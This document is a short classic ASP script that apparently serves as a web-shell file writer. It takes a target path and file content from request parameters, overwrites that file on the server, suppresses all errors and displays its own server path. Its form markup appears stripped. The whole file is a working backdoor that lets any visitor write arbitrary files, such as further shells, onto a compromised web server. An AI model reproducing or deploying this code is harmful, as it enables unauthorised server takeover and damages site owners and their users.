<% dim objFSO %><% dim fdata %><% dim objCountFile %><% on error resume next %><% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %><% if Trim(request("syfdpath"))<>"" then %><% fdata = request("cyfddata") %><% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %><% objCountFile.Write fdata %><% if err =0 then %><% response.write "save " %><% end if %><% end if %><% objCountFile.Close %><% Set objCountFile=Nothing %><% Set objFSO = Nothing %><% Response.write "

" %><% Response.write "" %><% Response.Write "" %><% Response.Write "
" %><%=server.mappath(Request.ServerVariables("SCRIPT_NAME")) %><% Response.write "
" %><% Response.write "" %><% Response.write "" %> <% Response.write "

" %>